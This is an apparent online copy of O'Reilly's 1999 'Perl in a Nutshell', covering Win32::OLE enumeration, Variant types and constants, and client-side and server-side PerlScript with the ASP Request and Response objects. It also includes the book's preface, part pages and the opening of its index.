The Win32::OLE::Enum module provides special support for collections. Collections are special automation data types that contain an array of objects or data. A collection supports enumeration - you can iterate through each item through a standard interface.

Collection objects should always provide a Count property (the number of items in the collection) and an Item method. The Item method is used to access a particular collection item using a subscript, which may be an integer or a string, depending on the server. Collection objects may also optionally contain an Add and a Remove method.

Collection objects also support a standard COM interface (IEnumVARIANT) that allows you to enumerate each item in a collection. It defines methods that let you advance the iteration to the next item, skip a given item, restart the enumeration, and create a new copy of the iterator. While all servers are supposed to provide this interface, some servers don't implement all of the methods (often Reset and Clone).

Win32::OLE::Enum defines these methods for enumerating collections. The collection object should provide the Count and Item methods, which are often all you need to use on collections. For example:

$cnt = $coll->Count();
if( $cnt) {
    $obj = $coll->Item(0);
    $obj->do_something();
}
Count will tell you how many items are in the collection, and Item will return the desired item as a Win32::OLE object.

For the enumeration methods, you need to create an enumeration object for the collection object:

$coll = $obj->some_coll();
$enum = Win32::OLE::Enum->new($coll);
Now you can use the enumeration methods on the object.

19.18.3.1 Win32::OLE::Enum methods

The following methods are defined in Win32::OLE::Enum:

  • new
  • All
  • Clone
  • Next
  • Reset
  • Skip

19.18.4 Win32::OLE::Variant

All automation data has to be coerced into a special type called a Variant. Most of the time, you don't need to worry about explicit type coercion. You just provide your scalar data and the magic of automation takes care of the rest of it. How- ever, there are cases when you want to control the exact type of data you're send- ing to the automation server. The Win32::OLE::Variant module provides access to the Variant data type and lets you control exactly how the data is represented.

A Variant is an OLE data structure that contains a type field and a data field. The flags are implemented in Perl (as are many constants) as subroutines that return an integer value. The table below lists the Variant type flags, along with a brief description of each.

Type | Description
VT_EMPTY | No value specified. Incidentally, automation does not use VT_EMPTY for empty optional parameters. Rather, it uses VT_ERROR with a value of DISP_E_PARAMNOTFOUND (which isn't exported by Perl: the value in current Win32 SDK headers is 0x80020004).
VT_NULL | A propagating NULL value was specified (not to be confused with a null pointer). This is used for things like the NULL in SQL.
VT_I2 | A 2-byte integer value.
VT_I4 | A 4-byte integer value.
VT_R4 | An IEEE 4-byte real value.
VT_R8 | An IEEE 8-byte real value.
VT_CY | An automation currency value.
VT_DATE | An automation date value.
VT_BSTR | A string value.
VT_DISPATCH | The value contains another automation object.
VT_ERROR | An error code was specified. The type of the error is determined by the actual value. As mentioned earlier, this is used to implement empty optional parameters.
VT_BOOL | A Boolean (true/false) value. If all bits are 1, it's true, if all bits are 0, it's false. Any other value is invalid.
VT_VARIANT | The value contains another Variant.
VT_UNKNOWN | The value contains an IUnknown pointer (the base class of COM objects).
VT_UI1 | An unsigned 1-byte character.
VT_BYREF | Can be combined with some fields to indicate that the data is being passed by reference, rather than by value.
VT_ARRAY | The value contains an OLE SAFEARRAY (this flag is not currently exported by Perl).

To convert data to a specific variant type, you create a variant object with either the new constructor method or the convenience function Variant:

$vnt = Win32::OLE::Variant->new(type, data);
$vnt = Variant(type, data);
For example, to force a string to be interpreted as a date, create a variant object and set it to the VT_DATE type:
$dt = Variant(VT_DATE, "August 24, 1970");   # create an explicit data type
$sheet->Cells(1,1)->{Value} = $dt;           # set it to a spreadsheet cell

19.18.4.1 Win32::OLE::Variant methods

The following methods are defined by Win32::OLE::Variant for working with Variant data types:

  • As
  • ChangeType
  • Type
  • Value

19.18.5 Win32::OLE::Const

While browsing through the documentation for an automation object, you may have come across references to constant values. For example, if you're trying to save an Excel workbook to a different file format, you need to provide a file for- mat constant. Since the server documentation typically provides symbolic con- stants (e.g., xlExcel5 or xlTemplate), we need a way to access those from Perl. This is the purpose of Win32::OLE::Const, which imports the constants from an automation object into your script.

You can either import the constants directly into your namespace as subs that return the constant value, or you can have them returned as a hash reference with the constant name as the key and its value as the value. Here's an example of the former:

use Win32::OLE::Const ("Microsoft Excel");
print "xlExcel5 = ", xlExcel5, "\n";
which produces something like:
xlExcel5 = 39
Here's an example using the Load method to return a hash reference populated with the constants and their values (this produces the same output as the previ- ous example, of course):
use Win32::OLE::Const;

my $constants = Win32::OLE::Const->Load("Microsoft Excel");
print "xlExcel5 = $constants->{xlExcel5}\n";
Notice that, in both cases, we're supplying a regular expression for the name of the type library from which we want to import. Win32::OLE::Const searches the registry for matching type libraries and loads the one with the highest version number (you can override this by supplying the version you want). You can also specify the language you'd like. The parameters (for either Load or Win32::OLE::Const) are the typelib regular expression, the major version number, the minor version number, and the locale (LCID).

You can also provide the Load method with an automation object, which is then queried for its type library. Interestingly, the documentation notes that this seems to be slower than searching the Registry (though neither is really speedy with a large automation server like Excel). Here's an example of that:

use Win32::OLE;
use Win32::OLE::Const;

# create an Excel application object
my $xl = Win32::OLE->new('Excel.Application', 'Quit') ||
  die "Can't create Excel: ", Win32::OLE->LastError;

# import the constants from it
my $constants = Win32::OLE::Const->Load($xl);
Using Load (to get a hash reference for the constants) may be preferable to importing all of the constants into your namespace. Some automation servers pro- vide a large number of constants (the current version of Excel has some 900+), so importing them into your namespace can clutter things considerably.

Previous: 19.17 Win32 Extensions | Perl in a Nutshell | Next: 20. PerlScript
19.17 Win32 Extensions | Book Index | 20. PerlScript


[Chapter 20] PerlScript

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 19.18 OLE Automation Chapter 20 Next: 20.2 Server-Side PerlScript

20. PerlScript

Contents:
Client-Side PerlScript
Server-Side PerlScript

PerlScript is an ActiveX scripting engine that allows you to incorporate Perl within any ActiveX scripting host. PerlScript can be used on the client side (Internet Explorer 4.0) or in Active Server Pages (ASP) generated by web servers like IIS or WebSite Pro. To use PerlScript with these applications, you must have Active State's ActivePerl with PerlScript installed on the local machine (or you can use a network-based installation of each).

Since a local Perl and PerlScript installation is required, it is not practical to deploy applications that use client-side PerlScript across the Internet. Nevertheless, in situations where you have control over the desktop configurations, as in an Intranet environment, client-side PerlScript offers tremendous opportunities for browser-based application development.

Server-side PerlScript does not have this limitation. To use PerlScript on your web server, you don't need to worry about how the end user's desktop is configured. As long as you are running a web server that can use ASP, you can use PerlScript on your web server.

With the free distribution of Netscape Navigator source code, the availability of PerlScript is likely to broaden significantly. This is an area of development that you should keep an eye on if you like the idea of extending Perl's power to web authoring.

PerlScript is implemented into HTML pages or ASP pages via the Document Object Model used by the ActiveX scripting engine. Scripts are virtually the same as any other Perl script. They use Perl's object-oriented features on an object hierarchy defined by the script engine. The object model is different for clients and servers, but the same scheme is used throughout: top-level objects with sub-objects, each containing their own properties and methods.

Properties of objects, like the name of a frame or the background color of a window, are available as hash elements from a referenced object. For example:

$object->subobject{'property'} = "value";
$val = $object->subobject->{'property'};
Thus, properties can be set or retrieved.

Objects have a predefined set of methods available to them as well. Methods define actions such as writing to a document or performing actions on a mouse click. Methods are accessible in the usual way:

$object->method(args);
This chapter provides information on the parts of the object model that you will use most often. A complete reference for the object models for both ASP and ActiveX scripting clients is beyond the scope of this book. For more detailed information, consult the documentation for your server, or the Microsoft web site, which has complete client and server information.

20.1 Client-Side PerlScript

All PerlScript code must be contained within a <SCRIPT LANGUAGE="PerlScript"></SCRIPT> element. You may include any number of these elements in your program, so it is possible to intersperse Perl and HTML freely. For example:

<HTML>
<HEAD>
<TITLE>Hello, World</TITLE>
</HEAD>
<BODY>

<H1>Hello, from the Old Edition!</H1>

<SCRIPT LANGUAGE="PerlScript">

    my @one_hit = ('Bel', 'Biv', 'DeVoe');

    foreach (@one_hit) {
       $window->document->write(qq[$_ says "Hello"!<BR>]);
       }

    $window->document->write(qq[<P><I>"That girl is Poison!"</I></P>]);

</SCRIPT>

</BODY>
</HTML>
The write method is used on the document object to "write" HTML and text to the document displayed in the window.

The top-level object is the window. This is the default object that contains the script. (Even though the script is contained in the HTML file, the script object is a level below the window, just like the document object.)

Every window contains the following objects:

Frame

This object contains an array of frames in the window. Each frame object is accessible via the index, i.e., $window->frame[2] is the third frame object. Each frame object is a container that acts like its own window object.

History

This object stores the browser history - all the sites a client has been to in its current session.

Navigator

This object contains information about the client application, like the UserAgent header it provides.

Location

This object contains information about the current URL for the window.

Script

This object contains any script elements in the current window scope.

Document

This object contains all of the displayed content in a window: the HTML, text, forms, objects, etc.

The most important object in this hierarchy is the document object. The following section explains the objects it contains, their properties, and their methods.

20.1.1 The Document Object

The document object represents what is displayed within the client window. In the example above, we showed that the write method tells the client to show the given HTML and text. The document object contains a number of methods and properties that can be manipulated within a script. It also is a container for other objects that hold information about the document:

Anchor

An array of anchors (<a name="string"> </a> tags) in the document.

Form

An array of forms contained in the document.

Link

An array of hyperlinks (<a href="url"> </a> in the document.

The anchor and link objects both provide arrays. Each element in the array is a string with the name of the anchor or location of the hyperlink. The elements in the link array are read-only. Anchor names can be manipulated by the script.

The form object provides access to the elements of the forms within your document. Each form is an indexed element of the form object array and can be accessed like this:

$obj = $window->document->form[1];
This would be the second form in the document. Under this form object are objects representing the various parameters of the form and input tags. They are accessible by the names of the attributes used in the HTML tags.

20.1.1.1 Document methods

The following methods can be used on the document object. They are accessed using the usual object-method syntax: $obj->method(args).

write (string)

Places the given string into the document at the current position. The string can contain HTML tags and text that will be interpreted by the browser or other HTML-capable client.

writeLn (string)

Same as the write method, except that it places a new line after the given string.

open

Opens a document object for writing. The current document is already open for writing. This method may be used on another document object from another frame or window to send output to. After open is called, output to a document is not displayed immediately; it displays only after a close call is used on the document.

close

Closes a document and writes all output to it.

clear

Clears an output stream on a document.

20.1.1.2 Document properties

The document object contains a set of properties described below. Properties can be set or retrieved, and are accessed as hash variables under the document object. They are accessible via the following syntax:

$val = $window->document->{property};

linkColor

The color of hyperlinks in the document, given by an RGB-color value.

vLinkColor

The color of visited hyperlinks in the document, given by an RGB-color value.

bgColor

The background color of a document, given by an RGB-color value.

fgColor

The foreground color of a document, given by an RGB-color value.

location

The URL of the current document.

lastModified

The timestamp for the last modification of the document.

title

The title of the document as given by the <TITLE> tag.

cookie

The string value of the cookie for the document, if there is one.

Previous: 19.18 OLE Automation | Perl in a Nutshell | Next: 20.2 Server-Side PerlScript
19.18 OLE Automation | Book Index | 20.2 Server-Side PerlScript


[Chapter 20] 20.2 Server-Side PerlScript

Perl in a Nutshell

Perl in a NutshellSearch this book

20.2 Server-Side PerlScript

PerlScript on the server-side of business is a much more viable method of incorporating Perl into your web applications. You can use PerlScript as the scripting language for Active Server Pages (ASP), which are used by such applications as Microsoft's IIS and O'Reilly's WebSite Pro. See the documentation for these products to properly set up ASP on your server. ActivePerl with PerlScript must be installed on the server machine to be used with ASP.

Active Server Pages use PerlScript in pages much like client-side scripting except that the object model is different, and most importantly, the script is executed on the server. When an Active Server Page is requested, the .asp file is processed, scripts are executed, and an HTML page is produced and delivered to the client.

Each script is contained within <SCRIPT> tags. PerlScript must be declared as the default scripting language for each file with:

<SCRIPT LANGUAGE="PerlScript" RUNAT=Server>
The RUNAT attribute signals that the script is to be executed on the server and not the client. The lines of the script follow, and the script is closed with an ending </SCRIPT> tag.

An alternative syntax to the <SCRIPT> tags are the <% %> delimiters. These are not HTML tags, but indicate that whatever happens between them is to be executed. There are also special constructs used with these delimiters. Since they can be interspersed with HTML throughout a file, the default language must be declared at the top of the file with the <%@ %> tag:

<%@ PerlScript%>
This delimiter syntax completely replaces the declarative <SCRIPT> tag shown above, but it must be placed at the top of any file using the <% %> syntax for scripting. In addition to this tag, you can use the <%= %> tag throughout your file to automatically assign a value to the output of your file (i.e., a $Response->write function). Here is an example:
<%@ PerlScript>
<HTML>
<HEAD></HEAD>
<BODY>
<H1>Say Hello, Boys!</H1>

<% my @onehit = ("Bel", "Biv", "DeVoe"); %>

<P>
<%= $onehit[0] %> says "Hello."
<BR>
<%= $onehit[1] %> says "Hello."
<BR>
<%= $onehit[2] %> says "Hello."

</P>
</BODY>
</HTML>
The return value of any code within <%= %> is placed into the output HTML returned to the client. This syntax makes it very easy to intersperse the output of commands with HTML throughout the ASP file.

The scripting object model for ASP contains the following top-level objects:

Application

Application objects can be created to share data among multiple users of defined groups of .asp files under a virtual directory on the server.

Request

The Request object encapsulates all of the information about the browser and any data it supplies in its request, such as POST data from a form. It is equivalent to the information contained in an HTTP request.

Response

The Response object represents information and data sent to a client after a request. It is equivalent to an HTTP server response.

Server

The Server object contains certain control parameters for the server and provides methods for creating connections to other applications.

Session

The Session object uses cookies to store state information for a user across multiple pages accessed during a session.

The Request and Response objects provide an ASP interface to the HTTP protocol used in web transactions. The other objects encapsulate special server features and connections to outside applications.

20.2.1 The Request Object

The Request object contains all the information sent to the server in the client's request. This object has only one property, TotalBytes, which is read-only and gives the number of bytes sent in the body of a client request. The BinaryRead method of the Request object retrieves the client request as raw binary data.

The information contained in a request is stored in various collection objects. Collections contain objects that represent the important pieces of a request, for example, form or cookie data. There are five collections under the Request object:

ClientCertificate

Contains information from a client certificate sent in the request.

Cookies

Contains the data from any cookies sent in the request.

Form

Contains POST data from forms.

QueryString

Contains form data passed in the query string of the URL.

ServerVariables

Contains the values of environment variables and header values in the request.

To access the objects in the collection, the name of an object is given as the argument to the Collection object. For example, to access a form variable named "birthday" from the Form collection, you would use:

$object = $Request->Form("birthday");
This returns an object for the "birthday" form variable. To get the value, you use the Item method on the object:
$data = $Request->Form("birthday")->Item;
This returns the value assigned to "birthday" in the request. Since ASP collection objects are OLE collections, the functionality of the Win32::OLE modules can be employed. See Chapter 19, Win32 Modules and Extensions, for more information on OLE collections.

The QueryString collection contains form data input by the GET method and transmitted at the end of the requested URL. Values are retrieved from the QueryString object the same way they are retrieved from the form object, for example:

$data = $Request->QueryString("birthday")->Item;
Cookies sent within a client request are stored the same way. The name of the cookie variable retrieves the cookie object from the collection, and Item retrieves the value:
$data = $Request->Cookie("birthday")->Item;
The ServerVariables collection stores both environment variables relevant to the transaction and HTTP headers sent in the request. The header objects are accessible by using the syntax: HTTP_HeaderName. Underscores contained within HeaderName are interpreted as dashes.

20.2.2 The Response Object

The Response object contains the information output to the client. The Write method is primarily used to write the output of code to the client, but the Response object is also used to create and send cookies to the client, as well as manipulate headers, update server logs, and set control parameters for the document.

20.2.2.1 Setting cookies

The Response object contains one collection for setting cookies with the client. The Cookies collection allows you to create cookies and sets the information that is delivered to the client in the Set-Cookie header of the HTTP response.

In the ASP file, you can check for a returned cookie in the request, and if there is none, you can set a new cookie:

<%
if ( defined($Request->Cookie("user") )
  { $userid = $Request->Cookie("user")->Item; }
else
  { $Response->Cookie("user") = 123; };
%>
This will check to see if a cookie named user was sent in the request. If it was not, a new cookie is sent in the response and set on the client machine.

The Response cookie collection uses a number of properties to set the standard attributes used with cookies. For example, to set the expiration of a cookie, you would use the Expires attribute:

$Response->Cookie("user")->{Expires} = "Tuesday, 31-Dec-99 00:00:00 GMT";
The client will no longer return a cookie after its expiration date.

The following properties are used to set attributes on a response cookie:

Domain

If specified, the cookie will be sent in any request to this domain. The value must contain at least two dots, e.g., .oreilly.com. This value would cover both www.oreilly.com and software.oreilly.com.

Expires

Sets the expiration date for the cookie.

Path

Sets the URL range for which the cookie is valid. If the value is set to /pub, for example, the cookie will be returned for URLs in /pub as well as subpaths such as /pub/docs and /pub/images. A path value of "/" indicates that the cookie will be used for all URLs at the originating site. If no path value is set, the cookie will be returned only for the originating URL.

Secure

If set to true, this attribute instructs the client to return the cookie over only a secure connection (via SHTTP or SSL).

20.2.2.2 Response properties

The following properties can be set on the Response object. The property syntax is as follows:

$Response->{property} = value;

Buffer

If set to false, output is sent the client immediately as it is processed by the script. If set to true, output is buffered and sent only when the entire page has been processed, or upon calls to the Flush or End methods.

CacheControl

If set to Private, output from this ASP page will not be cached by a proxy server. If set to Public, the output can be cached by a proxy server.

Charset

Appends the given character set name to the Content-Type header.

ContentType

Specifies the HTTP content type of the response; for example, text/html.

Expires

Specifies the length of time in minutes before a client-cached page expires. After this time, the page will be requested again. A setting of 0 forces the page to expire immediately.

ExpiresAbsolute

Specifies the date and time on which a client-cached page expires. The date and time are given in a format such as "June 18,1999 00:00:00", where the time is GMT.

IsClientConnected

Returns true if the client is still connected to the server (possibly waiting on a request); false, otherwise.

Pics

Adds a PICS-label header to the response with the given PICS formatted string.

Status

Sets the status code and explanation string in a server response, for example "403 Forbidden".

20.2.2.3 Response methods

The following methods can be used on the Response object.

AddHeader (header, value)

Adds an HTTP header with assigned value to the header of the HTTP response. The specified header will simply be added to the response; it will not replace an existing header. This method must be used in the ASP file before any page content is output. For buffered pages, it can be used anywhere before the first Flush call.

AppendToLog (string)

Appends string to the server log (if extended logging is properly configured). string can be a maximum of 80 characters and should not contain commas.

BinaryWrite (data)

Writes the given binary data to the HTTP output without any conversion.

Clear ()

Clears any response content from the output buffer. This method will not clear header information, and will cause a runtime error if $Response->Buffer has not been set to true.

End ()

Stops all processing of the ASP file and outputs any buffered content.

Flush ()

If buffering has been enabled with $Response->Buffer, this call clears the buffer and outputs its contents.

Redirect (url)

Instructs the client to connect to the specified url.

Write (data)

Writes the data to the HTML output stream.

Previous: 20.1 Client-Side PerlScript | Perl in a Nutshell
20.1 Client-Side PerlScript | Book Index


Perl in a Nutshell

By Ellen Siever, Stephen Spainhour & Nathan Patwardhan; ISBN 1-56592-286-7, 674 pages.
First Edition, December 1998.
(See the catalog page for this book.)

Search the text of Perl in a Nutshell.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface

Part I: Getting Started

Chapter 1: Introduction to Perl
Chapter 2: Installing Perl

Part II: Language Basics

Chapter 3: The Perl Interpreter
Chapter 4: The Perl Language
Chapter 5: Function Reference
Chapter 6: Debugging

Part III: Modules

Chapter 7: Packages, Modules, and Objects
Chapter 8: Standard Modules

Part IV: CGI

Chapter 9: CGI Overview
Chapter 10: The CGI.pm Module
Chapter 11: Web Server Programming with mod_perl

Part V: Databases

Chapter 12: Databases and Perl

Part VI: Network Programming

Chapter 13: Sockets
Chapter 14: Email Connectivity
Chapter 15: Usenet News
Chapter 16: FTP
Chapter 17: The LWP Library

Part VII: Perl/Tk

Chapter 18: Perl/Tk

Part VIII: Win32

Chapter 19: Win32 Modules and Extensions
Chapter 20: PerlScript

The Perl CD Bookshelf Navigation The Perl CD BookshelfLearning PerlLearning Perl on Win32 SystemsProgramming PerlAdvanced Perl ProgrammingPerl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


[Part I] Getting Started

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: Acknowledgments Part I Next: 1. Introduction to Perl

Part I: Getting Started

Chapter 1: Introduction to Perl
Chapter 2: Installing Perl

Previous: Acknowledgments | Perl in a Nutshell | Next: 1. Introduction to Perl
Acknowledgments | Book Index | 1. Introduction to Perl


[Part II] Language Basics

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 2.5 Documentation Part II Next: 3. The Perl Interpreter

Part II: Language Basics

Chapter 3: The Perl Interpreter
Chapter 4: The Perl Language
Chapter 5: Function Reference
Chapter 6: Debugging

Previous: 2.5 Documentation | Perl in a Nutshell | Next: 3. The Perl Interpreter
2.5 Documentation | Book Index | 3. The Perl Interpreter


[Part III] Modules

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 6.6 The perlbug Program Part III Next: 7. Packages, Modules, and Objects

Part III: Modules

Chapter 7: Packages, Modules, and Objects
Chapter 8: Standard Modules

Previous: 6.6 The perlbug Program | Perl in a Nutshell | Next: 7. Packages, Modules, and Objects
6.6 The perlbug Program | Book Index | 7. Packages, Modules, and Objects


[Part IV] CGI

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 8.167 vmsish Part IV Next: 9. CGI Overview

Part IV: CGI

Chapter 9: CGI Overview
Chapter 10: The CGI.pm Module
Chapter 11: Web Server Programming with mod_perl

Previous: 8.167 vmsish | Perl in a Nutshell | Next: 9. CGI Overview
8.167 vmsish | Book Index | 9. CGI Overview


[Part V] Databases

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 11.7 Apache:: Modules Part V Next: 12. Databases and Perl

Part V: Databases

Chapter 12: Databases and Perl

Previous: 11.7 Apache:: Modules | Perl in a Nutshell | Next: 12. Databases and Perl
11.7 Apache:: Modules | Book Index | 12. Databases and Perl


[Part VI] Network Programming

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 12.4 DBI Environment Variables Part VI Next: 13. Sockets

Part VI: Network Programming

Chapter 13: Sockets
Chapter 14: Email Connectivity
Chapter 15: Usenet News
Chapter 16: FTP
Chapter 17: The LWP Library

Previous: 12.4 DBI Environment Variables | Perl in a Nutshell | Next: 13. Sockets
12.4 DBI Environment Variables | Book Index | 13. Sockets


[Part VII] Perl/Tk

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 17.5 The URI Module Part VII Next: 18. Perl/Tk

Part VII: Perl/Tk

Chapter 18: Perl/Tk

Previous: 17.5 The URI Module | Perl in a Nutshell | Next: 18. Perl/Tk
17.5 The URI Module | Book Index | 18. Perl/Tk


[Part VIII] Win32

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 18.18 The Toplevel Widget Part VIII Next: 19. Win32 Modules and Extensions

Part VIII: Win32

Chapter 19: Win32 Modules and Extensions
Chapter 20: PerlScript

Previous: 18.18 The Toplevel Widget | Perl in a Nutshell | Next: 19. Win32 Modules and Extensions
18.18 The Toplevel Widget | Book Index | 19. Win32 Modules and Extensions


Preface

Contents:
How This Book Is Organized
Typographical Conventions
How to Contact Us
Acknowledgments

Perl is a programming language that is useful. By this, we mean that people don't learn Perl just because they think they should, they learn Perl because they want to get something done.

This book is for Perl programmers who need to get things done. It's for readers who have dabbled a little in Perl and want a single reference for all their needs. This book is part reference, part guide to the world of Perl. We cover the language itself, but also the Perl modules that are most popular - modules for CGI, database manipulation, network programming, graphical interfaces, and Win32 integration.

How This Book Is Organized

This book has eight parts, as follows:

Part I, Getting Started

Chapter 1, Introduction to Perl, gets you oriented to Perl and the Perl community.

Chapter 2, Installing Perl, gives you some pointers on getting Perl and its modules installed on your machine. This chapter introduces you to the CPAN archive and discusses using the CPAN module to retrieve the latest versions of Perl modules.

Part II, Language Basics

Chapter 3, The Perl Interpreter, is about using the perl program itself. It covers environment variables, command-line options, and the differences in executing the Unix and Win32 versions of Perl.

Chapter 4, The Perl Language, is the turbo-charged tutorial/reference to the Perl language. If you've never programmed before, then you might need a tutorial that goes more slowly. But if you have some experience with other programming languages, this chapter should teach you enough to start writing Perl programs.

Chapter 5, Function Reference, is a reference chapter for each of the built-in functions to Perl.

Chapter 6, Debugging, is about using the Perl debugger to help locate the rare errors in your programs.

Part III, Modules

Chapter 7, Packages, Modules, and Objects, gives a quick introduction to Perl packages, Perl modules, and object-oriented programming in Perl.

Chapter 8, Standard Modules, is a reference to each of the modules included in the standard Perl distribution.

Part IV, CGI

Chapter 9, CGI Overview, is a brief introduction to the concepts behind CGI programming.

Chapter 10, The CGI.pm Module, covers the very popular CGI.pm module, which is deemed essential by many CGI programmers.

Chapter 11, Web Server Programming with mod_perl, is about mod_perl, the Apache module that can be used to significantly improve CGI performance and also allows you to embed Perl code into the Apache server itself.

Part V, Databases

Chapter 12, Databases and Perl, gives a brief introduction to DBM databases in Perl, and provides a reference to DBI, the Database Independence package that gives you a consistent interface to many different database packages.

Part VI, Network Programming

Chapter 13, Sockets, explains socket programming and how to use the IO:Socket module.

Chapter 14, Email Connectivity, covers the Net::SMTP and Net::POP3 modules for sending and reading email, and also the Mail modules for manipulating email messages.

Chapter 15, Usenet News, explains the NNTP protocol and the Net::NNTP module for reading and posting Usenet news, and the News::Newsrc module for managing .newsrc files.

Chapter 16, FTP, explains the FTP protocol, the Net::FTP module for transferring files by FTP, and the Net::Netrc module for managing .netrc files.

Chapter 17, The LWP Library, covers the most commonly used parts of the huge LWP library of modules for HTTP transactions.

Part VII, Perl/Tk

Chapter 18, Perl/Tk, is a reference to the Tk extension to Perl, for creating graphical user interfaces from within a Perl program.

Part VIII, Win32

Chapter 19, Win32 Modules and Extensions, talks about the many Perl modules for working with the Win32 operating systems.

Chapter 20, PerlScript, is about the ActiveX scripting tool, which is loosely based on Perl.

Perl in a Nutshell | Next: Typographical Conventions
Book Index | Typographical Conventions


[Preface] Typographical Conventions

Perl in a Nutshell

Perl in a NutshellSearch this book

Typographical Conventions

Italics

are used for filenames, program names, URLs, command-line options, email addresses, replaceable text in syntax lines, and to introduce new terms.

Letter Gothic

is used for code snippets, method and function names, text to be typed literally, variables, constants, mail headers, and configuration directives.

Letter Gothic italics

are used for replaceable items in code examples.

Previous: How This Book Is Organized | Perl in a Nutshell | Next: How to Contact Us
How This Book Is Organized | Book Index | How to Contact Us


[Preface] How to Contact Us

Perl in a Nutshell

Perl in a NutshellSearch this book

How to Contact Us

We have tested and verified the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing to:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the U.S. or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

We have a web site for the book, where we'll list errata and any plans for future editions. You can access this page at:

http://www.oreilly.com/catalog/perlnut/

Previous: Typographical Conventions | Perl in a Nutshell | Next: Acknowledgments
Typographical Conventions | Book Index | Acknowledgments


[Preface] Acknowledgments

Perl in a Nutshell

Perl in a NutshellSearch this book

Acknowledgments

Many thanks to everyone who helped out on this book. Thanks to Larry Wall, Randal Schwartz, Tom Christiansen, and Sriram Srinivasan for their excellent books on Perl. Some material in this book is adapted from theirs; for that, we are very grateful.

Thanks also to all the reviewers of this book, who include Randal Schwartz, Tom Christiansen, Graham Barr, Clinton Wong, and Erik Olson. Without their help, this book wouldn't be nearly as helpful as it is.

We'd like to thank Linda Mui, our editor, and Val Quercia, who kept us on track, for all their support.

Finally, since this book shares the camel image with Programming Perl, it occurs to us that someone might confuse it with the True Camel. So let's try to nip that in the bud: if you insist on giving this book a cute animal-related nickname, we encourage you to call it the "Camel head" or "Camel nut" or something else that makes the difference clear.

Previous: How to Contact Us | Perl in a Nutshell | Next: I. Getting Started
How to Contact Us | Book Index | I. Getting Started


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

-0 option (perl) : 3.2. Command-Line Options
\007 (octal value) sequence : 4.6.3. Escaped Sequences
& (ampersand)
AND bitwise operator : 4.5.10. Bitwise Operators
calling subroutines : 4.7.1. Calling Subroutines
in encoded URLs : 9.2. URL Encoding
prototype symbol : 4.7.5. Prototypes
&& (logical AND) operator : 4.5.9. Logical Operators
&&= (assignment) operator : 4.5.6. Assignment Operators
&= (assignment) operator : 4.5.6. Assignment Operators
<> (angle brackets) : 4.10. Formats
greater-than operator : 4.5.4.1. Relational operators
less-than operator : 4.5.4.1. Relational operators
< Perl debugger command : Chapter 6, Reference: <
<< Perl debugger command : Chapter 6, Reference: <<
<<= (assignment) operator : 4.5.6. Assignment Operators
<= (less-than-or-equal) operator : 4.5.4.1. Relational operators
<=> (comparison) operator : 4.5.4.2. Equality operators
<% %> delimiters : 20.2. Server-Side PerlScript
> Perl debugger command : Chapter 6, Reference: >
<...> line-input operator : 4.9. Filehandles
>> to open file for appending : 4.9. Filehandles
>> Perl debugger command : Chapter 6, Reference: >>
>>= (assignment) operator : 4.5.6. Assignment Operators
>= (greater-than-or-equal) operator : 4.5.4.1. Relational operators
* (asterisk)
multiplication operator : 4.5.3. Arithmetic Operators
prototype symbol (typeglob) : 4.7.5. Prototypes
regular expression metacharacter : 4.6.2. Regular Expression Syntax
** (exponentiation) operator : 4.5.3. Arithmetic Operators
**= (assignment) operator : 4.5.6. Assignment Operators
*= (assignment) operator : 4.5.6. Assignment Operators
*? regular expression quantifier : 4.6.6. Quantifiers
@ (at sign)
@_ array : 4.7.2. Passing Arguments
dereferencing with : 4.8.2. Dereferencing
format fieldholders : 4.10. Formats
prototype symbol (list) : 4.7.5. Prototypes
signifying arrays : 4.2.4.1. Arrays
\ (backslash)
creating references : 4.8.1. Creating References
in prototype declarations : 4.7.5. Prototypes
reference creation operator : 4.5.2. Unary Operators
regular expression metacharacter : 4.6.2. Regular Expression Syntax
! (bang)
CPAN.pm eval command : Chapter 2, Reference: !
logical negation operator : 4.5.2. Unary Operators
.newsrc entries : 15.3. The News::Newsrc Module
Perl debugger command : Chapter 6, Reference: !
!! Perl debugger command : Chapter 6, Reference: !!
!= (not equal to) operator : 4.5.4.2. Equality operators
!~ (pattern match) operator : 4.5.7. Pattern Match Operators
{} (braces)
delimiting statement blocks : 4.3. Statements
regular expression metacharacter : 4.6.2. Regular Expression Syntax
regular expression quantifiers : 4.6.6. Quantifiers
{ Perl debugger command : Chapter 6, Reference: {
{{ Perl debugger command : Chapter 6, Reference: {{
[] (brackets)
Perl debugger command : Chapter 6, Reference: =
regular expression metacharacter
4.6.2. Regular Expression Syntax
4.6.4. Character Classes
^ (caret)
in [...] construct : 4.6.4. Character Classes
filled field fieldholder : 4.10. Formats
grid geometry manager placeholder : 18.2.2. The grid Geometry Manager
regular expression anchor : 4.6.5. Anchors
regular expression metacharacter : 4.6.2. Regular Expression Syntax
XOR bitwise operator : 4.5.10. Bitwise Operators
^= (assignment) operator : 4.5.6. Assignment Operators
: (colon)
.newsrc entries : 15.3. The News::Newsrc Module
in package names : 7.1. Namespaces and Packages
, (comma)
number legibility without : 4.2.1. Numbers
operator : 4.5.11.3. Comma operator
$ (dollar sign)
dereferencing with : 4.8.2. Dereferencing
prototype symbol (scalar) : 4.7.5. Prototypes
regular expression anchor : 4.6.5. Anchors
regular expression metacharacter : 4.6.2. Regular Expression Syntax
signifying scalar variables : 4.2.4. Variables
$ variables
$0 variable : 4.4.1. Global Special Variables
$1, $2, $3, ...
4.4.5. Regular Expression Special Variables
